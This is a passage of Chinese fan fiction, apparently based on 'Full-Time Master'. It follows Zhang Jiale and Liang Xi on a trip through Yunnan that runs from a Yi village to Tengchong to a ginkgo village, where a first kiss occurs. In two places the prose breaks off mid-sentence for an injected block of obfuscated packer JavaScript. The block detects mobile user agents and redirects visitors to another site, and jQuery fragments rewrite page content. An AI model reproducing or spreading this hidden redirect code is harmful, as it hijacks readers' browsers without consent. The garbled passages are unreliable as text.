一个穿深蓝色对襟褂子的老人站在桌子旁边,手里拄着一根竹杖。桌上铺着一块深色的绒布,上面放着几样东西——银饰、绣片、还有一本翻开的、纸张泛黄的线装书。 “过去是叫夷族,师夷长技以制夷,后来觉得这个字不太好听,容易让人联想到蛮夷……”老人的声音不紧不慢,带着当地口音,但很清楚。 “——后来改的这个‘彝’字,是毛主席亲自定的。”老先生指了指旁边放大的字形图,“上面是个‘彑’,像山一样,中间有‘米’有‘丝’,底下两只手捧着。有米有丝,有吃有穿,” 张佳乐站在人群边缘,听得认真。梁夕站在他旁边,目光落在那本翻开的线装书上。书页上印着几个不同写法的“彝”字,从甲骨文到金文到小篆,字形的演变被清晰地描摹在泛黄的纸面上。 吉祥、安定、丰衣足食。是大多数人听过的那个版本。她忽然想起自己第一次在博物馆看到这些字形时的感觉——那些笔画里藏着一个和“有米有丝”完全不同的故事。 老人讲完,喝了一口桌上的茶,笑眯眯地看着几个游客,似乎在等提问。 梁夕犹豫了一下,开口了:“这个字最早的写法,中间不是米吧?” “小姑娘懂点东西嘛。”老人没有被冒犯的表情,反而眼睛亮了一下,像是遇到了一个能聊到深处去的人,“说说看,不是米,是什么?” “甲骨文里,那个位置应该是——两滴血。”梁夕的声音不大,“这个字最早的时候,应该是祭祀的意思。上面那个部分是祭品的头颅,被捆住的人或者牲畜,跪着、低着头。” 老人点点头,放下茶杯,拄着竹杖走到墙边,指着其中一块手写的介绍板。 “最早的彝,是血祭。”老人的声音低了一些,没有刚才说“有米有丝”时那种轻快,“把人或者牲畜绑在祭祀的青铜器上,杀了,血滴下来,用双手捧着,献给神明。” “后来传着传着,那两滴血就写成了米。”老人笑了笑,拄着竹杖走回桌边,“也许是写错了,也许是后人觉得太血腥,有意改了。哪个晓得呢。” 几个小孩笑着从门口跑过。张佳乐忽然觉得后背有点凉。 张佳乐转头重新审视那几个笔画。刚才觉得吉祥、温暖的字形,现在看着竟有些不同了。他还是说不上来这叫“代入感”还是“脑补严重”——那两滴血是不在了,但好像从哪个角度看,都感觉那双捧着祭品的“手”,莫名染上了一层难以拭去的红色。 “这么一说……”张佳乐搓了搓手臂,“感觉冷飕飕的。” 梁夕看了他一眼。他的表情介于震惊和受惊之间,像一只忽然被踩到尾巴的狗。 她轻轻地弯了一下嘴角:“走吧,阿黑哥。” 张佳乐愣了一下,然后笑了,跟上她的脚步。青石板路上,两个人的影子被阳光拉得又长又淡,“阿黑哥”和“阿诗玛”的名字叠在一个不大的空间里,像两片偶然落在一起的叶子,风吹过来,又散开了。 13. 换地 从仙人洞村出来,张佳乐手里多了个小玩意儿——一个用彩线编织的、造型简单却别致的钥匙扣,上面挂着个小银铃,走起路来叮当作响。 “送你的。”张佳乐把钥匙扣递给梁夕,语气随意,“算是……纪念品?感谢你没把我一个人扔在洱海继续缅怀。” 梁夕看着那个色彩鲜艳、带着民族风情的小东西,愣了一下,没接。 张佳乐直接把东西塞进她手里:“拿着呗,又不值钱。就当是……大神给粉丝的福利?” 他眨眨眼,开了个玩笑。 梁夕捏着那个钥匙扣,铃铛轻轻响了一声。她抬起头,看着张佳乐,眼神有些复杂,最终低声说了句:“谢谢。” 张佳乐摆摆手,转身往前走,脚步轻快,铃铛在他自己不知何时也挂上的另一个同款钥匙扣上叮叮咚咚地响着。 晚上,民宿老板邀请住客一起烤火,就在小院中间生了一小堆篝火,拿出自家酿的米酒。其他住客也陆续加入,大家围坐在火边,天南地北地聊着,火光映照着每个人的脸。 张佳乐在这种场合显得如鱼得水,很快跟其他人打成一片,讲着旅途见闻,偶尔冒出几句冷笑话。梁夕则安静地坐在稍远一点的阴影里,手里捧着一小杯温热的米酒,小口啜着,听着别人的故事,看着跳跃的火苗。 米酒入口甘甜,后劲却有点足。梁夕喝得不多,但脸颊也渐渐染上红晕,眼神在火光映照下,少了几分平日的清冷,多了些许朦胧的暖意。 张佳乐跟人聊天的间隙,目光总会不自觉地飘向她。篝火明明灭灭的光影里,她安静得像一幅画,却又比白天多了几分真实可触的温度。 有人提议玩游戏,张佳乐积极响应,还试图拉梁夕下水。梁夕摇头拒绝,只说自己看着就好。张佳乐也不勉强,自己玩得不亦乐乎,输了被罚喝酒也爽快。 夜渐渐深了,篝火渐熄,人们陆续散去。张佳乐玩得有些兴奋,脸颊红扑扑的,走到梁夕身边坐下,身上带着淡淡的酒气和烟火气。 “喂,梁夕同学,”他声音有点飘,“出来玩,开心点嘛。老是一个人闷着,多没意思。” 梁夕没看他,望着已经快要熄灭的炭火余烬,轻声说:“我没有不开心。” “骗人。”张佳乐嘟囔,“你眼睛里有东西,沉甸甸的。” 梁夕怔了怔,转过头看他。张佳乐正托着腮,眼神因为酒意有些迷蒙,但看她的目光却很专注,带着一种关切。 “每个人都有。”梁夕移开视线,淡淡地说。 “也是。”张佳乐点点头,没有追问,只是伸了个懒腰,“不过,暂时把它们扔在这儿,让山水和好酒帮忙看着,也挺好,对吧?” 梁夕沉默了片刻,点了点头:“嗯。” 夜深了,山间的风带来凉意。梁夕站起身:“我回房了。” “嗯,晚安。”张佳乐也站起来,晃了晃,“明天……还继续发呆,还是去别的地方?” 梁夕想了想:“再说吧。” 她转身往房间走去,衣服兜里还装着那个彩线编织的钥匙扣,小银铃在寂静的夜里发出细微清脆的声响。 张佳乐站在原地,看着她的背影消失在门后,才哼着不成调的歌,趿拉着拖鞋,晃晃悠悠地回了自己房间。 第四天,梁夕醒得比平时稍晚。窗外阳光明媚,鸟鸣啁啾。她洗漱完下楼的时候,张佳乐已经坐在餐桌边,正对着手机皱眉,手指快速戳着屏幕,似乎在跟人争论什么。 “早。”梁夕拉开椅子坐下。 “早!”张佳乐立刻放下手机,脸上又恢复了那种元气满满、没心没肺的笑容。 “睡得怎么样?昨晚那米酒后劲不小吧?我看你脸都红了。” 梁夕瞥了他一眼,没接这个话茬,自顾自倒了杯温水。 张佳乐也不在意,凑过来兴致勃勃地问:“今天有什么想法,去天鹅湖那边转转吗?虽然这个季节可能没天鹅,但湿地景色也不错,还有很多候鸟。” “天鹅湖吧。”湿地的候鸟让她想起了昨天回来的路上看到的那只白鹭。 “得令!”张佳乐一拍桌子,立刻又去跟老板打听具体的路线和交通。他行动力超强,没一会儿就搞定了租车事宜——一辆本地常见的电动小三轮,由民宿老板一个相熟的亲戚开着带他们去。 张佳乐坐在前面,跟开车的师傅用夹杂着普通话和当地方言的奇怪组合聊得热火朝天,不时爆发出一阵大笑。梁夕坐在后面,看着不断后退的田园风光,嘴角也微微放松。 天鹅湖实际上是一片广阔的湿地公园,水草丰茂,芦苇摇曳,各种水鸟栖息其间,或偶尔振翅掠过水面,一副生机勃勃的模样。 两人沿着木质栈道慢慢走着。张佳乐这回没怎么说话,也安静地看着那些鸟儿,时不时举起手机拍几张照片,但又怕惊动了那些水鸟,每次都悄悄靠近、屏住呼吸。 梁夕站在他侧后方,看着他专注又有点手忙脚乱的样子,觉得有点好笑,又有点……说不出的感觉。 这个人,在荣耀赛场上曾经是那么光芒四射、锐不可当的弹药专家,此刻却像个春游的小学生,对着一只普通的水鸟小心翼翼。 回去的路上,张佳乐似乎还沉浸在拍照的乐趣里,翻看着手机里的照片,自言自语地评价着。梁夕靠在三轮车后座,闭目养神,微风拂面,带着午后阳光的暖意。 “梁夕,”张佳乐忽然转过头,“明天……我们换个地方吧?” 梁夕睁开眼:“去哪?” “我也不知道,”张佳乐挠挠头,“就是觉得,老在一个地方待着,虽然舒服,但好像……缺点什么。云南好玩的地方多着呢,要不,我们随便买张车票,走到哪算哪?反正你假期还有,我也没事。” 这个提议很大胆。梁夕看着他,他眼里有种跃跃欲试的光芒,像个鼓动朋友一起逃课去冒险的少年。 如果是以前的她,大概会毫不犹豫地拒绝,或者根本不会和这样一个“陌生人”走这么远。但此刻,在这个远离熟悉一切的地方,在这个秋光正好、连风都自由的午后…… “好啊。”她听见自己说。 张佳乐眼睛一亮,立刻又掏出手机:“那我看看车次!去……去西双版纳?或者香格里拉?还是干脆出省?” 决定是临时起意的,执行起来却异常高效。张佳乐似乎很擅长这种说走就走的模式,他迅速查了车票,排除了几个太热门的地方,最后拍板:“去腾冲吧!这个季节正好,没那么冷也没那么热,有火山,有温泉,还有银杏村,听说秋天黄透了特别好看。” 梁夕对目的地没什么执念,只要不是回头路,去哪里似乎都可以。她点了点头:“行。” 张佳乐立刻订了第二天从普者黑附近车站出发去腾冲的大巴车票,然后又兴致勃勃地开始研究腾冲的住宿和游玩攻略。 梁夕看着他忙碌的样子,想起自己当初决定来云南时,也做过类似的攻略,但那份心情早已冷却。现在,她 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“客气什么。”张佳乐摆摆手,自己灌了一大口水,然后看着车站里来来往往、行色匆匆的人们,忽然感慨,“有时候觉得,人就像这些赶车的人,急着去下一个地方,但又不知道下一个地方是不是真的更好。” 梁夕有些意外他会说出这样的话,看了他一眼。张佳乐侧脸在车站喧嚣的背景下,竟显出几分少见的沉静和……迷茫?这和他平时那副没心没肺、活力过剩的样子很不一样。 “那你呢?”梁夕难得主动问,“急着去下一个地方吗?” 张佳乐转过头,对她笑了笑,笑容看着有些复杂:“我?我不知道。就是觉得……不能停下来。一停下来,就会想很多。” 他顿了顿,没再说下去,转而问道,“你呢?为什么一个人跑出来玩这么久?” 梁夕沉默了一下,避重就轻:“工作累了,想休息。” “哦。”张佳乐应了一声,没再追问,只是说,“那就在外面多玩会儿,把电充得足足的再回去。” 重新上车后,两人之间的气氛似乎更融洽了一些。张佳乐甚至跟梁夕分享了他耳机里正在听的歌单——混杂着一些老歌、游戏BGM和奇怪的电子音乐。梁夕礼貌性地听了一会儿,评价了一句:“……很杂。” 张佳乐哈哈大笑:“人生就是要杂一点才有意思嘛!” 大巴终于抵达腾冲。一下车,就感受到了与普者黑不同的气候和气息。空气微凉,带着点山城的清爽。他们按照张佳乐之前查好的,入住了和顺古镇里一家评价不错的客栈。 和顺古镇的夜晚很安静。青石板路被灯笼映照得昏黄温暖,流水潺潺。他们找了一家看起来本地人较多的餐馆,点了当地的特色菜:大救驾、土锅子、还有稀豆粉。 饭菜可口,暖意融融。吃饭时,张佳乐的话又多了起来,讲他以前在云南各地比赛时的见闻,讲他队友的糗事,讲他对某个版本更新装备平衡性的吐槽……梁夕大多时候静静听着,偶尔在他讲得过于眉飞色舞时,泼一点小小的冷水。 “我发现,”张佳乐吃饱喝足,摸着肚子总结道,“跟你一起吃饭特别下饭。” 梁夕抬眼:“因为我话少,不跟你抢?” “不是!”张佳乐摇头,“是因为你总是一脸‘我就静静看你吹牛’的表情,让我特别有倾诉欲,一有倾诉欲,就容易吃多。” 梁夕:“……” 张佳乐嘿嘿一笑。 14. 热海 两人按照计划前往热海景区。还没靠近,就闻到了一股淡淡的硫磺气味。景区内果然热泉遍布,大大小小的泉眼冒着白色的蒸汽,咕嘟咕嘟地翻滚着,蔚为壮观。 张佳乐像个好奇宝宝,对各种地质现象啧啧称奇,还试图用手机拍下泉水翻滚的瞬间。 沿着栈道往上走,路边出现了一处叫“怀胎井”的泉眼。两口石砌的井挨在一起,井口不大,左边那口井的水质清澈,右边那口井的水质稍混浊。 张佳乐凑过去读完说明牌,表情变得微妙。他看看井,又看看梁夕,嘴角抽了一下。 “……这就不必了吧。” 梁夕原本只是扫了一眼,被他这副如临大敌的表情反而勾起了兴趣。 “你怕什么。”她说着,从旁边小商贩那里买了个杯子——里面配好了花茶——听商贩的建议舀了右边井里的水,说是口感甜一点。 张佳乐瞪大了眼:“你还真喝?!” 梁夕没理他,抿了一小口。水温很高,带点甜,不过不知道是泉水本身的甜味还是因为花茶里配了红糖的原因。不算好喝,但也并非难以下咽。她端着杯子,转头看他,眼神平静里带着一丝不易察觉的促狭:“你要不要也来点?” “不了不了不了。”张佳乐连连摆手,甚至往后退了半步,“我还年轻,不想当爹。” “大神的顾虑也太多了。”梁夕端着杯子,慢悠悠地又喝了一小口:“这井要是真这么灵,腾冲的人口密度早就爆了。” 再往上走,就是最著名的“热海大滚锅”了。据说是火山地热形成的天然沸泉,雾气蒸腾,最高的水温接近百度,隔着老远都能感受到那股灼人的热浪。 “这要是掉下去,可以直接煮熟了吧?”他指着大滚锅,心有余悸地说。 梁夕站在稍远一点的上风处,看着那翻滚不息的热泉,热气将周围的景色都扭曲了,仿佛一个不真实的幻境。硫磺的气味有些刺鼻,但置身于这大地深处涌动的热能之中,又让人感到一种原始的、磅礴的力量。 旁边还有用温泉蒸汽直接烹饪鸡蛋、鹌鹑蛋等食物售卖的。张佳乐兴致勃勃地买了一串温泉鸡蛋,递给梁夕一个:“尝尝,据说特别嫩。” 梁夕接过,剥开蛋壳,蛋白果然异常滑嫩,蛋黄凝固得恰到好处,和平常的煮鸡蛋确实不太一样。 下午,他们去了国殇墓园。这里是滇西抗日战争阵亡将士的纪念陵园,是国内也少有的记载了牺牲将士姓名的纪念陵园,气氛庄严肃穆。踏入墓园,仿佛连空气都凝重了几分。高大的纪念塔,整齐排列的墓碑,沉默地诉说着那段惨烈而英勇的历史。 名录墙上刻着103141位远征军的名字;从小团山的山脚到山顶,依次排列着3346块墓碑,每一块墓碑上都刻着牺牲将士的姓名和军衔;纪念馆里还有一处墙壁,没有文字,只有一千零三顶带着弹痕的钢盔,展示着战士们在战场上的英勇和无畏。 张佳乐收起了所有的嬉笑,神情变得肃穆。他默默地走着,看着墓碑上那些年轻的名字和生卒年月,很多人的生命永远定格在了二十岁上下,甚至更年轻。 梁夕也安静地跟在旁边。她不是历史迷,对那段战争的细节了解不多,但置身于此,看着漫山遍野的墓碑,那种震撼和悲恸是直接而强烈的。 生命如此脆弱,又如此坚韧。为了守护一些东西,那么多人义无反顾地献出了所有。 他们在“碧血千秋”的石刻前驻足良久。山风穿过松柏,发出呜咽般的声响。 “有时候想想,”张佳乐忽然开口,声音有些低哑,“我们那点输赢、冠军、遗憾……跟这些比起来,算得了什么。” 梁夕看了他一眼。他侧脸紧绷,眼神里有一种她从未见过的沉重和反思。这个总是显得没心没肺、执着于游戏胜负的前职业选手,此刻显露出了他内心更深层的另一面。 “不一样。”梁夕轻声说,“时代不同,追求的东西也不同。但他们守护的,或许也包括了你们能安心追求自己梦想的这份和平。” 张佳乐转过头,有些惊讶地看着她,似乎没想到她会说出这样的话。他沉默了片刻,点点头:“你说得对。” 从墓园出来,两人的心情都有些沉重,一路无话。回到古镇,天色已近黄昏。 为了驱散那份沉重感,张佳乐提议去泡温泉。客栈老板推荐的温泉在山间,环境清幽,分了好几个大小不一的池子,水温各异。这个时间人不多,他们各自选了相邻的两个小池。 温热的泉水包裹住身体,驱散了山间的寒意和一天的疲惫。梁夕靠在池边的石头上,闭上眼睛,让思绪放空。硫磺的气息再次弥漫,但在这里,它变得柔和而令人放松。远处是暮色中的山影,近处是汩汩的水声。 隔壁池子传来哗啦的水声,张佳乐似乎换了个姿势。过了一会儿,他的声音隔着朦胧的水汽传来:“梁夕?” “嗯?” “今天……谢谢你陪我来看这些。” 梁夕睁开眼,隔着氤氲的水雾,能看到张佳乐模糊的轮廓。 “没什么。” “不是没什么,”张佳乐的声音很认真,“看那些山水,看那些历史,再泡泡温泉……好像心里一些拧巴着的东西,被热水泡开了一点。” 梁夕没有立刻回应。温泉水滑过肌肤,带来熨帖的暖意。她看着暮色四合的天空,几颗早亮的星星已经悄然出现。 或许,被泡开的,不止是他心里的拧巴。 晚饭后,张佳乐没有立刻回房间,而是大剌剌地占据了小客厅里最舒服的那张沙发,整个人几乎陷进去,举着手机,两条长腿随意地搭在旁边的矮凳上。 他一边刷着手机查腾冲还有什么好玩的地方,一边嘴里念念有词:“银杏村肯定得去……火山公园看火山口……热气球太贵pass……北海湿地好像跟天鹅湖差不多?……哎梁夕,你说我们是明天去银杏村,还是先去火山公园?” 梁夕坐在他对面的藤椅上,手里翻着客栈的旅游画册,头也没抬:“随便。” “怎么能随便呢!”张佳乐坐直身体,试图引起她的重视,“行程规划很重要的!要考虑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529152|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路线顺不顺,时间够不够,拍照光线好不好……” “那你规划就行了。”梁夕翻过一页画册,语气平淡,“你不是号称云南活地图吗?” 这话带着点不易察觉的调侃,暗指他之前各种半吊子的介绍。 张佳乐被噎了一下,随即理直气壮:“活地图也得听取群众意见啊!快说,想看黄叶子还是看黑窟窿?” 梁夕终于从画册上抬起头,看了他一眼:“黄叶子。黑窟窿听着就不吉利。” 张佳乐乐了:“哟,你还信这个?那行,明天就去银杏村,沐浴在金色的祥瑞之光里!” 他低头查车次和天气,手指戳得飞快,“嗯,天气不错,车也好找……对了,你带够厚衣服没?村里肯定比这儿冷,别冻着了,大神可没空照顾病号。” 梁夕合上画册,凉凉地回了一句:“大神照顾好自己别着凉就行,毕竟年纪不小了,抵抗力差。” 张佳乐:“……我哪里年纪不小了!我正当年好吗!” 他抗议完,又自己笑起来,“行,互相伤害是吧?梁夕同学,我发现你吐槽功力见长啊。” 梁夕没接话,但唇角微微动了一下。 夜色渐深,窗外古镇的灯火一盏盏熄灭,只剩下零星几点。张佳乐查完信息,也没急着走,瘫在沙发里打了个哈欠,忽然问道:“你说,咱们这都一起混了好几天了,爬过山,划过船,看过鸟,泡过温泉,还一起接受过爱国主义教育……这革命友谊,是不是也算建立起来了?” 梁夕正在给自己倒水,闻言动作顿了一下。她看向张佳乐,他歪在沙发上,姿态放松,脸上带着惯有的、有点欠揍的笑容,但眼神清亮,没有试探,也没有压力,就是单纯地问一问。 “革命友谊?”梁夕重复了一遍这个词,语气没什么起伏,“听起来像要一起去炸碉堡。” 张佳乐嘿嘿一笑:“那倒不用,就是觉得,咱俩这临时搭伙的,配合得还挺默契?至少没在半路打起来,也没把对方弄丢。” 这倒是实话。梁夕想了想,这一路确实省心。不用自己操心路线,不用应付不必要的社交,有人插科打诨,也有人安静陪伴。虽然这人话多了点,跳脱了点,但……不讨厌。 她端起水杯,喝了一口,目光移向窗外漆黑的夜空,声音很轻,但足够清晰:“嗯,算吧。” 张佳乐眼睛一亮,整个人从沙发里弹起来一点:“那就说定了啊!旅友梁夕同志!明天继续向着金色祥瑞之光,前进!” 他那副夸张的样子让梁夕忍不住又想吐槽,但最终只是别过脸,淡淡说了句:“……幼稚。” “这叫保持年轻的心态!”张佳乐不以为耻,反以为荣,站起身,伸了个大大的懒腰,“行了,不打扰梁夕同志休息了,养精蓄锐,明天拍照战斗!” 他挥挥手,趿拉着拖鞋,哼着荒腔走板的歌往自己房间走。 “革命友谊……” 她低声自语,摇了摇头。 有个这样吵吵嚷嚷、却又意外靠谱的旅友,这段漫无目的的逃离之旅,比她预想的,有意思了那么一点点。 15. 偷亲 车子驶离古镇,沿着盘山公路蜿蜒而上,气温下降,路边的植被也染上了更深的秋意。 银杏村坐落在山坳里,远远望去,一片耀眼的金黄。村口那几棵巨大的古银杏树如同金色的华盖。阳光透过稀疏的枝叶洒下来,光影斑驳,美得如同童话世界。虽然不是周末,但慕名而来的游客已然不少,长枪短炮的摄影爱好者随处可见。 张佳乐一下车就“哇”了一声,眼睛发亮:“可以啊!这规模!” 他立刻掏出手机,开始各种角度狂拍,从全景到特写,甚至试图拍下阳光穿过树叶缝隙的光束,奈何技术有限,拍出来的效果总是差强人意。 梁夕也被眼前的景象震撼,她走进那片金色的海洋,落叶在脚下发出清脆的碎裂声。阳光照在身上,暖洋洋的,微微驱散了山间的寒意。 张佳乐拍了一会儿,发现梁夕已经走远,连忙追上去:“你别走那么快!帮我看看,这个构图怎么样?” 他把手机屏幕怼到梁夕面前。 梁夕看了一眼,照片里一棵银杏树占了大半画面,地上厚厚的落叶,但光线处理得不好。 “光太强了,逆光拍试试,单点对焦、背景虚化。或者找阴影里的叶子拍特写。” 她给出了相对张佳乐而言专业一点的建议。 “逆光?”张佳乐挠头,摆弄了几下手机,尝试着拍了几张,果然效果好了不少,金黄的叶子边缘透着光,脉络清晰,“可以啊梁夕!你还懂摄影?” “比你大概懂一点。”梁夕对摄影也不算在行,但光线和构图的基本美感,多少还是有点概念的。 张佳乐也不气馁,兴致勃勃地继续他的“创作”,时不时拉着梁夕当模特。梁夕起初不是很想配合,后来被他缠得没办法,勉强站在一棵树下让他拍了一张侧影。 “你表情放松点啊,别像被我绑架了似的。”张佳乐在旁边喊。 “绑架你还需要选这么金光闪闪的地方?”梁夕忍不住吐槽。 “那倒是,直接套麻袋扔车里比较符合我的风格。”张佳乐从善如流地接梗,然后看着手机里梁夕那张依旧没什么表情、但背景绚烂无比的照片,嘀咕道,“嗯……人景分离,意境不足,看来模特还需要加强培训。” 梁夕懒得理他,转身继续往前走。 走到村子深处,人渐渐少了。有一片相对僻静的银杏林,落叶积得更厚,几乎没过脚踝。张佳乐忽然孩子气地快跑几步,然后猛地往厚厚的落叶堆里一躺,激起一片金色的叶浪。 “哈哈哈!梁夕快来!超级软!”他躺在落叶里,朝梁夕挥手,脸上是毫无阴霾的灿烂笑容,阳光落在他身上,和周围的金黄几乎融为一体。 梁夕站在几步之外,看着他这副模样。那个在赛场上华丽而凌厉的百花缭乱,那个在洱海边落寞发呆的前大神,此刻像个逃课成功、在田野里撒欢的少年。 这种纯粹而直接的快乐,有种莫名的感染力。 她在不远处坐下,捡起一片完整的银杏叶,微微仰头看着从枝叶缝隙漏下的光,金色落叶映在她黑色的外套和发间,像一幅色调对比强烈的油画。 “别动。” 梁夕听到声音,下意识地维持着那个姿势。 “看看?”张佳乐把手机递过去,屏幕上,是几张她坐在金色落叶中的照片。构图意外地不错,光线柔和,背景虚化的银杏林如同朦胧的金色梦境,而她则是梦境中心那个安静的剪影。 “还行。”她给出中肯的评价,把手机还回去。 “只是还行?”张佳乐挑眉,“我这水平可是在你的指导下突飞猛进!” “说真的,”张佳乐的语气带着怂恿,“你躺下试试,视角不同,感觉世界都不一样了。” 梁夕犹豫了一下。躺着?在这样人来人往——虽然这片林子人少——的地方? 但对面的人眼神真诚。还有周围金灿灿的落叶,午后暖洋洋的阳光,似乎都构成了某种难以抗拒的氛围。 她纠结了一下,最终妥协,慢慢地向后躺下。背后是落叶温柔的承托,脸上是透过枝叶洒下来的斑驳而温暖的阳光。 “怎么样?”张佳乐的声音从旁边传来,很近。 梁夕没立刻回答。她望着头顶。从这个角度看,世界确实不一样了。高远的蓝天成了画布,金色的银杏枝叶是画框,偶尔有风吹过,几片叶子打着旋儿悠悠落下,像演唱会最后缓缓飘落的金色彩片,带着一种不真实的美感。 所有的声音——远处的游客笑语、近处的风声、自己的心跳——都仿佛变得模糊而遥远。 “……嗯。”她轻轻地应了一声,闭上眼睛,感受着阳光在眼皮上跳跃的温度。 过了一会,她听到张佳乐轻轻叫了她一声,带着一种她之前没听过的微妙张力。 她下意识转过头。视线毫无预兆地,撞进了另一双眼睛里。 张佳乐正侧躺在一旁,用手支着头,静静地看她。他们之间的距离很近,近得能看清彼此瞳孔里倒映出的细碎金光。 他脸上没有往常那样戏谑或夸张的笑容,眼神很沉静,又仿佛有什么东西在深处涌动,专注得让周围的空气都似乎凝滞了。 风吹过,又有几片叶子落下,在他们之间的空隙里打着旋。 梁夕的心脏漏跳了一拍。她应该移开视线的,距离太近,他的眼神太直接。 但不知怎的,她没动,只是无声地看着他。看着这个两周前还是陌生人的男子,看着他眼中那个小小的自己。 谁也没有先移开目光。 落叶的沙沙声,远处模糊的喧嚣,都成了背景音。世界仿佛缩小到只剩这一方金色的落叶地,和彼此近在咫尺的呼吸。 然后,在梁夕自己都没反应过来应该做什么的时候,张佳乐忽然微微探身,凑近。 一个很轻很轻的吻,落在了她的唇上。像一片恰好飘落的叶子不经意地触碰。 梁夕身体僵了一下,睫毛颤动,但她没有躲开。 那个吻一触即分。张佳乐退了回去,依旧侧躺着,看着她,眼神里有一丝紧张,一丝试探,还有某种豁出去似的明亮的光。 他的脸颊在金色光影的映衬下,似乎也染上了一层薄薄的红晕,不知是晒的,还是别的什么原因。 梁夕依旧躺在落叶堆里,保持着那个微微偏头的姿势。她的心跳得有点快,耳根也有些发热,但脸上却努力维持着惯有的平静。 过了一会儿,张佳乐先打破了沉默。他清了清嗓子,声音比平时低了一点:“……吓到了?” 梁夕看他一眼,慢慢地转回头,重新望向头顶那片被金色枝叶切割的蓝天,声音很轻,听不出情绪:“没有。” 没有惊吓,没有愤怒,也没有……明确的抗拒。 张佳乐悬着的心稍微放下了一点,但随即又被另一种更微妙的不确定填满。他也仰面躺下,和梁夕并肩看着同一片天空。 “那个……”他组织着语言,难得地有点词穷,“就是……觉得刚才,气氛挺好的。你躺在那儿,特别好看。” 他顿了顿,又补充道:“像幅画,没忍住。” 这个解释很直白,甚至有点笨拙,但符合张佳乐一贯的风格,没有那么多弯弯绕绕。 梁夕没有回应。她看着一片叶子悠悠荡荡地从高处落下,轨迹飘忽,最终无声地落在她脸颊旁边的落叶上。 她开口,声音依旧平淡,却问了一个让张佳乐心头一跳的问题:“你对谁都这样吗?气氛好就……亲一下?” “当然不是!”张佳乐一骨碌坐起来,立刻否认,“我是那么随便的人吗?” 他看着她,眼神认真:“我就是……觉得是你。” “觉得是我?”梁夕重复了一遍,也坐起来,和他对视,目光里带着审视,“我们才认识几天?张佳乐,你知道我是谁吗?” 张佳乐被问得一怔:“你是梁夕啊。” “除了名字呢?”梁夕继续问,语气没什么起伏,却句句指向现实,“知道我是做什么工作的吗?知道我平时是什么样的人?知道我过去有什么经历?知道我是好人还是坏人?甚至……” 她顿了顿,嘴角勾起一丝淡淡的、近乎嘲讽的弧度,“知道我有没有什么病吗,你就亲?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529153|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最后这个问题问得太过直白,甚至有些尖锐。张佳乐完全没料到,一时间张口结舌。 “啊?你……你有什么病?” 他是真的有点懵,下意识地反问,眼神里流露出一丝真实的慌乱。 梁夕看着他这幅样子,终于忍不住,翻了个白眼,没好气地说:“我没病。” 她站起身,拍了拍身上的落叶,语气恢复了平时的冷淡,却多了点无可奈何:“我的意思是,百花大神,你有点恋爱脑上头,风险意识也太差了。” 她居高临下地看着张佳乐,话说得半真半假:“万一我就是故意接近你,勾引你,然后找机会把你捆了卖去缅甸搞电诈呢?你这身价,虽然退役了,应该也能值几个钱吧?” 张佳乐坐在地上,仰头看着她。光从她身后照过来,给她周身镀上一层金色的轮廓。语气听着调侃,但带着明显的劝退意味。 但他并没有感到被冒犯,反而笑了起来。他也站起来,眼睛在午后的阳光下亮晶晶的:“行啊,梁夕同学,安全意识挺强,表扬一下。” “不过,”他拍了拍裤腿,走到她面前,“你要真打算卖我,在洱海边就可以下手了,何必陪我来这儿看黄叶子?还一路给我当摄影指导,听我唠叨?成本有点高啊,不符合经济原则。” “至于你说的那些……”他耸耸肩,“我确实不知道你具体是干什么的,也不知道你过去所有事。但我知道你这几天跟我一起的时候,虽然话不多,偶尔还挺毒舌,但人不坏,挺靠谱。” “我人不坏?”梁夕笑了下,没什么温度的那种,“坏人难道会把''我是坏人''几个字写在脑门上吗?” “之前在普者黑的时候,客栈老板养了只狗,每次你一出现,那只狗就往你旁边蹭。”他表情认真,语气笃定,“招猫猫狗狗喜欢的,都是善良的人。动物不看你说什么,也不看你脑门上写没写字,它们看气味。你气儿正,它们就蹭你,这是铁律。” 梁夕愣了一下,她想说“这算什么铁律”,但话到嘴边,没说出来。 “而且……”他顿了顿,看着她的眼睛,“你眼睛里没那些算计人的东西。” “至于有没有病……”张佳乐摊手,“我刚退役,医保还挺全的,不怕。” 他这一番话,避重就轻,又带着点无赖式的坦诚,反而让梁夕准备好的更多现实拷问哽在了喉咙里。 她瞪着他,一时竟不知该说他心大,还是说他……其实并不像表面上看起来那么没心没肺。 张佳乐趁她语塞,又往前凑了一小步,声音压低了些,“我也不是对谁都气氛好就亲的。我就是……觉得是你,所以没想那么多。” 他又把这句话重复了一遍,这一次,少了刚才的冲动,多了几分清晰的确认。 梁夕没说话,张佳乐也没再追问。 “走吧,绑匪同志,天快黑了,再不回去,该你担心我把你卖在山里了。”他转身往村口方向走去,走了几步,又回头看她,“愣着干嘛?放心,我比你有职业道德,不干半路加价或者撕票的活儿。” 梁夕哭笑不得,心里的那点复杂情绪,被他这一通插科打诨搅散了大半。 回程的车里,两人又恢复了之前的安静。但这一次的安静,和来时那种各自沉浸心事的安静不同,似乎多了点心照不宣的微妙。 张佳乐偶尔会偷瞄梁夕一眼,也不知道她在想什么。他自己心里其实也没底,那一吻是冲动,后来的对话是本能反应。但他不后悔。 至少,他清楚地表达了自己的感觉。 而她没有拒绝,也没彻底把他推开,还跟着回来了。 这大概……也算是一种进展? 